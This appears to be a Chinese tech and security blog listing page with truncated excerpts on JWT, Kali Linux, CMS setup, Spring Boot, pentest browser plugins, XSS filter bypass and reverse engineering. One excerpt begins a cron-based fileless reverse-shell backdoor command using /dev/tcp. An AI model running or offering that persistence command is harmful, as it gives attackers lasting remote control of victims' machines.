JSON Web Token（缩写 JWT）是目前最流行的跨域认证解决方案，本文介绍它的原理和用法。一、跨域认证的问题互联网服务离不开用户认证。一般流程是下面这样。1、用户向服务器发送用户名和密码。2...
JAVA
JAVA
Nexus设备。。福利。。。新鲜火热出炉的。。。
Kali linux，曾经的 BackTrack Linux，是用于测试和网络监视的Linux发行版，由Offensive Security公司开发。现在Kali团队和Offensive Securi...
系统文档
帝国CMS网站附件图片采用七牛云储存加速
网站图片过多会拖慢打开速度，不利于蜘蛛抓取和用户体验，将网站图片分离出来储存，则可以有效解决这一问题，利于网站的SEO优化。以下为帝国CMS附件远程同步到七牛云空间，除第一次访问较慢（因为第一次访问时...
一条命令实现无文件兼容性强的反弹后门
最好用一个不常见的用户执行，任务写入/var/spool/cron/$username (crontab -l;echo '*/60 * * * * exec 9<> /...
帝国cms灵动标签实现循环子栏目信息
内容摘要 灵动标签实际对应的原型PHP代码为如下：<?php$ecms_bq_sql=sys_ReturnEcmsLoopBq(栏目ID/专题ID,显示条数,操作类型,只显示有标题图片,附加SQ...
Spring Boot让jar可以直接运行
<plugin> <groupId>org.springframework.boot</groupId> ...
Seay信息安全博客
34款Firefox（火狐）浏览器渗透测试插件 |
显示不全请点击全屏阅读 工欲善必先利其器，firefox一直是各位渗透师必备的利器，小编这里推荐34款firefox渗透测试辅助插件，其中包含渗透测试、信息收集、代理、加密解密等功能。 1：Fireb...
WEB安全
XSS的原理分析与解剖：第四章（编码与绕过）
0×01前言 很抱歉，这第四章被我推了几个月，今天是元旦难得有空，就把第四章写下。我先把主要使用的编码说下，介绍完会说下绕过。 本文建议与《杂谈如何绕过WAF》一同阅读。 0×02...
在 Python 中將列表拆分成塊
使用列表推導式方法將 Python 中的列表拆分為塊 在 Python 中使用 itertools 方法將列表拆分為塊狀 在 Python 中使用 lambda 函式將 Python 中的列表拆分為塊...
WooYun-Drops
逆向基础 Finding important/interesting stuff in the code
http://drops.wooyun.org/binary/7647 V 寻找代码中有趣或者重要的部分 现代软件设计中，极简不是特别重要的特性。 并不是因为程序员编写的代码多，而是由于许多库通常都会...
